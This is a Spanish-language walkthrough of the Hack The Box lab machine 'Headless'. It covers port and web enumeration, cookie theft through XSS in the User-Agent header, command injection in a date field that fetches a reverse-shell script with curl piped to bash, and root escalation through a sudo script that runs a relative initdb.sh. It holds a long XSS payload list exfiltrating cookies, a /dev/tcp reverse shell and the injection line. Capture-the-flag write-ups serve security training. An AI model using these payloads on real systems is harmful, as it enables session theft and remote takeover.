Headless es una máquina de dificultad fácil en la plataforma de HTB. Accederemos a la máquina a través de un XSS donde obtendremos la cookie del usuario administrador, una vez obtenida conseguiremos realizar un RCE para poder acceder a la máquina. Para escalar privilegios deberemos abusar del script syscheck creando un archivo malicioso para que nos lo ejecute con el usuario root.
Enumeración
Escaneo de Puertos
Empezamos realizando un escaneo para descubrir los puertos abiertos en la máquina víctima.
❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.66.79 -oG allPorts
Starting Nmap 7.80 ( https://nmap.org )
Scanning 10.129.66.79 [65535 ports]
Discovered open port 22/tcp on 10.129.66.79
Discovered open port 5000/tcp on 10.129.66.79
Completed SYN Stealth Scan 21.96s elapsed (65535 total ports)
Nmap scan report for 10.129.66.79
Host is up, received user-set (0.058s latency).
Not shown: 59661 closed ports, 5872 filtered ports
Reason: 59661 resets and 5872 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
5000/tcp open upnp syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 22.08 seconds
Raw packets sent: 108894 (4.791MB) | Rcvd: 60143 (2.406MB)
Podemos ver 2 puertos abiertos:
- 22 (SSH)
- 5000 (Posiblemente Docker)
Los parámetros utilizados son:
- -p- : Escaneo de todos los puertos. (65535)
- –open: Para que solo muestre los puertos abiertos
- -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
- –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
- -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
- -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
- -Pn: Deshabilitamos el descubrimiento de host mediante ping.
- -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.
Análisis de Servicios
Realizamos un escaneo de las servicios y versiones de los puertos activos.
# Nmap 7.80 scan initiated : nmap -p22,5000 -sCV -oN targeted 10.129.66.79
Nmap scan report for 10.129.66.79
Host is up (0.061s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Sun, 24 Mar 2024 13:15:16 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.80%I=7%D=3/24%Time=66002763%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,BE1,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2\x20
SF:Python/3\.11\.2\r\nDate:\x20Sun,\x2024\x20Mar\x202024\x2013:15:16\x20GM
SF:T\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2
SF:02799\r\nSet-Cookie:\x20is_admin=InVzZXIi\.uAlmXlTvm8vyihjNaPDWnvB_Zfs;
SF:\x20Path=/\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20
SF:lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20
SF:\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-width,
SF:\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Under\x20Construction
SF:</title>\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20body
SF:\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20
SF:'Arial',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20background-color:\x20#f7f7f7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20padding:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20displ
SF:ay:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justify-c
SF:ontent:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ali
SF:gn-items:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20h
SF:eight:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20\.container\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20background-color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20border-radius:\x2010px;\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20box-shadow:\x200px\x200px\x2020px\x20rgba\(0,\x200,\
SF:x200,\x200\.2\);\n\x20\x20\x20\x20\x20")%r(RTSPRequest,16C,"<!DOCTYPE\x
SF:20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\
SF:x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20respons
SF:e</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20version
SF:\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20
SF:code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x20u
SF:nsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at -- 1 IP address (1 host up) scanned in 99.45 seconds
Al parecer no se trata de un docker sino de una web así que ejecutamos la herramienta Whatweb para poder ver mas información sobre la web.
❯ whatweb 10.129.66.79:5000
http://10.129.66.79:5000 [200 OK] Cookies[is_admin], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.2.2 Python/3.11.2], IP[10.129.66.79], Python[3.11.2], Script, Title[Under Construction], Werkzeug[2.2.2]
Antes de visitar la web realizamos fuzzing en busca de directorios.
❯ wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.129.66.79:5000/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.66.79:5000/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000055: 200 92 L 179 W 2363 Ch "support"
000002927: 500 5 L 37 W 265 Ch "dashboard"
/home/mrx/.local/lib/python3.10/site-packages/wfuzz/wfuzz.py:79: UserWarning:Finishing pending requests...
Total time: 16.12533
Processed Requests: 3222
Filtered Requests: 3206
Requests/sec.: 199.8098
Enumeración de Servicios
Este es el menú principal que se nos muestra al acceder a la web. Para que podemos ver que se nos muestra un contador ya que la web no parece estar totalmente activa, aunque nos han dejado una ruta para poner preguntas, así que vamos a visitarla.
Estos son los campos que debemos rellenar para poder tramitar algo. Aquí ya podemos pensar en realizar algunas cosas así que las vamos a probar.
Identificación de Vulnerabilidades
Al intentar realizar un ataque XSS y tramitarlo nos lo detecta y bloquea automáticamente. Lo que realmente resulta aún más interesante es que según el mensaje esto se tramita al usuario administrador así que podríamos llegar a obtener la cookie.
Sustituid las IP’s de los payloads y tramitadlos.
<script>document.location="http://10.10.X.X/xss-76.js?c="+document.cookie;</script>
<img src=x onerror=document.location="http://10.10.X.X/xss-75.js?c="+document.cookie>
<SCRIPT>window.location.replace('http://10.10.X.X/XSS-1');</SCRIPT>
'';!--"<XSS>=&{()}
5. <SCRIPT SRC=http://10.10.X.X/xss-2.js></SCRIPT>
6. <IMG SRC="javascript:window.location.replace('http://10.10.X.X/XSS-3');">
7. <IMG SRC=javascript:window.location.replace('http://10.10.X.X/XSS-4')>
8. <IMG SRC=JaVaScRiPt:window.location.replace('http://10.10.X.X/XSS-5')>
9. <IMG SRC=javascript:window.location.replace("http://10.10.X.X/XSS-6")>
10. <IMG SRC=<code>javascript:window.location.replace('http://10.10.X.X/XSS-7')</code>>
11. <IMG SRC=javascript:eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,114,101,112,108,97,99,101,40,39,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,53,54,46,49,48,54,47,88,83,83,45,57,39,41));)>
12. SRC=
<IMG 6;avascript:alert('XSS')>
13. <IMG SRC=javascript:alert('XSS')>
14. <IMG SRC=javascript:alert('XSS')>
15. <IMG SRC="jav ascript:window.location.replace('http://10.10.X.X/XSS-13');">
16. <IMG SRC="jav	ascript:window.location.replace('http://10.10.X.X/XSS-14');">
17. <IMG SRC="jav
ascript:window.location.replace('http://10.10.X.X/XSS-15');">
18. <IMG SRC="jav
ascript:window.location.replace('http://10.10.X.X/XSS-16');">
19. <IMG SRC="  javascript:window.location.replace('http://10.10.X.X/XSS-17');">
20. <SCRIPT/XSS SRC="http://10.10.X.X/xss-18.js"></SCRIPT>
21. <SCRIPT SRC=http://10.10.X.X/xss-19.js?<B>
22. <IMG SRC="javascript:window.location.replace('http://10.10.X.X/XSS-20')"
23. <SCRIPT>a=/XSS/
24. \";window.location.replace('http://10.10.X.X/XSS-22');//
25. <INPUT TYPE="IMAGE" SRC="javascript:window.location.replace('http://10.10.X.X/XSS-23');">
26. <BODY BACKGROUND="javascript:window.location.replace('http://10.10.X.X/XSS-24')">
27. <BODY ONLOAD=window.location.replace('http://10.10.X.X/XSS-25')>
28. <IMG DYNSRC="javascript:window.location.replace('http://10.10.X.X/XSS-26')">
29. <IMG LOWSRC="javascript:window.location.replace('http://10.10.X.X/XSS-27')">
30. <BGSOUND SRC="javascript:window.location.replace('http://10.10.X.X/XSS-28');">
31. <BR SIZE="&{window.location.replace('http://10.10.X.X/XSS-29')}">
32. <LAYER SRC="http://10.10.X.X/scriptlet-30.html"></LAYER>
33. <LINK REL="stylesheet" HREF="javascript:window.location.replace('http://10.10.X.X/XSS-31');">
34. <LINK REL="stylesheet" HREF="http://10.10.X.X/xss-32.css">
35. <STYLE>@import'http://10.10.X.X/xss-33.css';</STYLE>
36. <META HTTP-EQUIV="Link" Content="<http://10.10.X.X/xss-34.css>; REL=stylesheet">
37. <STYLE>BODY{-moz-binding:url("http://10.10.X.X/xssmoz-35.xml#xss")}</STYLE>
38. <IMG SRC='vbscript:msgbox("XSS")'>
39. <IMG SRC="mocha:[code]">
40. <IMG SRC="livescript:[code]">
41. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:window.location.replace('http://10.10.X.X/XSS-38');">
42. <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnaHR0cDovLzE5Mi4xNjguNTYuMTA2L1hTUy00MCcpOzwvc2NyaVB0Pg==">
43. <META HTTP-EQUIV="Link" Content="<javascript:window.location.replace('http://10.10.X.X/XSS-41')>; REL=stylesheet">
44. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:window.location.replace('http://10.10.X.X/XSS-42');">
45. <IFRAME SRC="javascript:window.location.replace('http://10.10.X.X/XSS-43');"></IFRAME>
46. <FRAMESET><FRAME SRC="javascript:window.location.replace('http://10.10.X.X/XSS-44');"></FRAMESET>
47. <TABLE BACKGROUND="javascript:window.location.replace('http://10.10.X.X/XSS-45')">
48. <DIV STYLE="background-image: url(javascript:window.location.replace('http://10.10.X.XXSS-46'))">
49. <DIV STYLE="background-image: url(javascript:window.location.replace('http://10.10.X.X/XSS-47'))">
50. <DIV STYLE="width: expression(window.location.replace('http://10.10.X.X/XSS-48'));">
51. <STYLE>@im\port'\ja\vasc\ript:window.location.replace("http://10.10.X.X/XSS-49")';</STYLE>
52. <IMG STYLE="xss:expr/*XSS*/ession(window.location.replace('http://10.10.X.XXSS-50'))">
53. <XSS STYLE="xss:expression(window.location.replace('http://10.10.X.X/XSS-51'))">
54. exp/*<XSS STYLE='no\xss:noxss("*//*");
55. <STYLE TYPE="text/javascript">window.location.replace('http://10.10.X.X/XSS-53');</STYLE>
56. <STYLE>.XSS{background-image:url(javascript:window.location.replace('http://10.10.X.X/XSS-54'));}</STYLE><A CLASS=XSS></A>
57. <STYLE type="text/css">BODY{background:url(javascript:window.location.replace('http://10.10.X.X/XSS-55'))}</STYLE>
58. <BASE HREF="javascript:window.location.replace('http://10.10.X.X/XSS-56');//">
59. <OBJECT TYPE="text/x-scriptlet" DATA="http://10.10.X.X/scriptlet-57.html"></OBJECT>
60. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:window.location.replace('http://10.10.X.X/XSS-58')></OBJECT>
61. getURL("javascript:window.location.replace('http://10.10.X.X/XSS-59')")
62. a="get";
63. <!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:window.location.replace('http://10.10.X.X/XSS-61');">
64. <XML SRC="http://10.10.X.X/xsstest-62.xml" ID=I></XML>
65. <HTML><BODY>
66. <SCRIPT SRC="http://10.10.X.X/xss-64.jpg"></SCRIPT>
67. <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://10.10.X.X/xss-65.js></SCRIPT>'"-->
68. <? echo('<SCR)';
69. <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>window.location.replace('http://10.10.X.X/XSS-67')</SCRIPT>">
70. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-window.location.replace('http://10.10.X.X/XSS-68');+ADw-/SCRIPT+AD4-
71. <SCRIPT a=">" SRC="http://10.10.X.X/xss-69.js"></SCRIPT>
72. <SCRIPT a=">" '' SRC="http://10.10.X.X/xss-70.js"></SCRIPT>
73. <SCRIPT "a='>'" SRC="http://10.10.X.X/xss-71.js"></SCRIPT>
74. <SCRIPT a=<code>></code> SRC="http://10.10.X.X/xss-72.js"></SCRIPT>
75. <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://10.10.X.X/xss-73.js"></SCRIPT>
76. <img src=x onerror=this.src="http://10.10.X.X/xss-74.js?c="+document.cookie>
Después de probar algunos sin ninguna respuesta, pensé en introducirlo en el User-Agent.
Levantamos un servidor web para que nos pueda llegar la cookie del usuario admin.
❯ sudo python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Ejecutamos el Burpsuite y comprovamos si nos ha llegado la cookie del usuario admin y como podemos ver en efecto, obtenemos sin problema la cookie.
10.129.66.79 - - [24/Mar/2024 X:X:X] code 404, message File not found
10.129.66.79 - - [24/Mar/2024 X:X:X] "GET /xss-76.js?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -
10.129.66.79 - - [24/Mar/2024 X:X:X] code 404, message File not found
10.129.66.79 - - [24/Mar/2024 X:X:X] "GET /favicon.ico HTTP/1.1" 404 -
10.129.66.79 - - [24/Mar/2024 X:X:X] code 404, message File not found
10.129.66.79 - - [24/Mar/2024 X:X:X] "GET /xss-76.js?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -
De todos los que hay en mi caso me funcionó el siguiente:
<script>document.location="http://10.10.X.X/xss-76.js?c="+document.cookie;</script>
Intrusión
Una vez que hemos subtituido la cookie probamos a acceder al directorio /dashboard.
Capturamos la petición para ver que se está tramitando realmente, en este caso podríamos intentar RCE.
Probamos ejecutar el comando whoami.
Como podemos ver, nos devuelve de manera satisfactoria el nombre del usuario.
A partir de aquí es sencillo acceder a la máquina, primero creamos un archivo en bash que contenga la reverse shell.
#!/bin/bash
bash -c 'bash -i &>/dev/tcp/10.10.14.180/4444 <&1'
Nos ponemos en escucha por el puerto que deseemos mediante netcat.
> nc -nlvp 4444
Levantamos el servidor web mediante python3.
> sudo python3 -m http.server 80
En BurpSuite deberemos tramitar lo siguiente:
date=2023-09-15;curl+http://10.10.X.X/rev.sh|bash
Si todo es correcto deberíamos de haber recibido una petición al servidor web.
❯ sudo python -m http.server 80
[sudo] contraseña para mrx:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.55.51 - - [24/Mar/2024 22:37:03] "GET /rev.sh HTTP/1.1" 200 -
Y también deberíamos de haber recibido la reverse shell.
❯ nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.55.51 53094
bash: cannot set terminal process group (1158): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$
Escalada de Privilegios
Si miramos los permisos que tiene el usuario nos aparece lo siguiente.
dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
Este sería el contenido del script, el uso de esta herramienta es para monitorear el sistema, comprueba varios aspectos de la salud y estado del sistema. Comienza verificando si tienes privilegios root y procede a recopilar y mostrar información del sistema.
dvir@headless:~$ cat /usr/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
Creamos el archivo initdb.sh y añadimos el /bin/bash, le damos permisos de ejecución, ejecutamos la herramienta con permisos root y escalamos al usuario root.
dvir@headless:~$ echo "/bin/bash" > initdb.sh
dvir@headless:~$ chmod +x initdb.sh
dvir@headless:~$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 2.0G
System load average: 0.00, 0.00, 0.00
Database service is not running. Starting it...
whoami
root
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@headless:/home/dvir#
Leemos las flags tanto del usuario y la del usuario root.
root@headless:/home/dvir# cat user.txt
8e****************************80
root@headless:/home/dvir# cat /root/root.txt
ac****************************de
root@headless:/home/dvir#